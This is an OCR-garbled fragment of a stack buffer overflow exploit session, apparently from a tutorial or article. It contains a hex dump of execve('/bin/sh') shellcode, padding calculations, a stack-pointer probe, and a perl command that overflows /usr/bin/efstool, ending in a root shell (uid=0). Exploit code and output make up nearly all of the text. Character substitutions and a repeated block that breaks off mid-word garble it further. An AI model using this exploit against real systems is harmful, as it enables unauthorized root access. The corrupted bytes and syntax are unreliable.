Oxbfffddb0: Oxbfffddc0: Oxbfffddd0: Oxbfffdde0: Oxbfffddf0: Oxbfffde00: Oxbfffde10: (gdb) quit The program is running. Exit anyway? (y or n) y od -x-c shellcode 0000000 c031 46b0 db31 c931 80cd 16eb 315b 88c0 1 300 260 F 1 333 0000020 0743 5b89 8908 Oc43 Obb0 4b8d 8d08 Oc53 [\b 211 C \f 260 \v 215 0000040 80cd e5e8 ffff 2fff 6962 2f6e 6873 315 200 350 345 377 377 377 0000056 wc -c shellcode 46 shellcode $bc-ql 2500/6 416.66666666666666666666 (417*6+46)/4 537.00000000000000000000 quit $echo 'main()(int sp:printf("Sp\n",&sp);)'>esp.c:g 0xbffff9b4 /usr/bin/efstool "perl -e 'print "HIJACK"x417: 4\xf9\xff\xbf"x50;" uid-0(root) gid-100(users) groups-100(users),10(wheOxbfffddb0: Oxbfffddc0: Oxbfffddd0: Oxbfffdde0: Oxbfffddf0: Oxbfffde00: Oxbfffde10: (gdb) quit The program is running. Exit anyway